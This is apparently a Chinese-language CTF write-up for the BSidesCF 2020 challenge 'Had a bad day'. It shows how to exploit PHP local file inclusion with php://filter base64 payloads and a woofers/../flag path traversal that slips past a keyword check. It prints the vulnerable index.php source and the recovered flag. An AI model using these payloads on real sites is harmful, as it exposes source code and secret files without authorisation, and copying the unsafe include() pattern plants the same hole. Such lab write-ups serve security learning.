[BSidesCF 2020]Had a bad day1

题目

这里有传参

文件包含使用伪协议读取flag

先读取index.php查看

复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=index

解码

index.php源码

php 复制代码
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php

尝试直接读取/index.php?category=woofers/../flag

php 复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

解码

拿下flag

flag{85254eba-a050-49cd-a3be-4e9859e51241}

相关推荐
Stella Blog1 分钟前
狂神Java基础学习笔记Day05
java·笔记·学习
Alice-YUE9 分钟前
前端性能优化完全指南:从指标到实战
前端·学习·性能优化
你数过天上的星星吗29 分钟前
Python学习笔记二(函数、类与对象)
笔记·python·学习
stm32 菜鸟1 小时前
nucleo-f411re学习记录-11,蓝牙模块HC-05
学习
我是发哥哈1 小时前
三款主流AI视频生成模型商用能力对比与选型分析
大数据·人工智能·学习·ai·chatgpt·aigc·音视频
Titan20241 小时前
C++11学习笔记
c++·笔记·学习
寒秋花开曾相惜1 小时前
(学习笔记)4.2 逻辑设计和硬件控制语言HCL(4.2.3 字级的组合电路和HCL整数表达式)
android·网络·数据结构·笔记·学习
2301_809049421 小时前
WSL无法打开gui界面时,以及安装东西分两种
学习
Titan20241 小时前
C++位图学习笔记
c++·笔记·学习
念恒123061 小时前
Python(运算与操作)
python·学习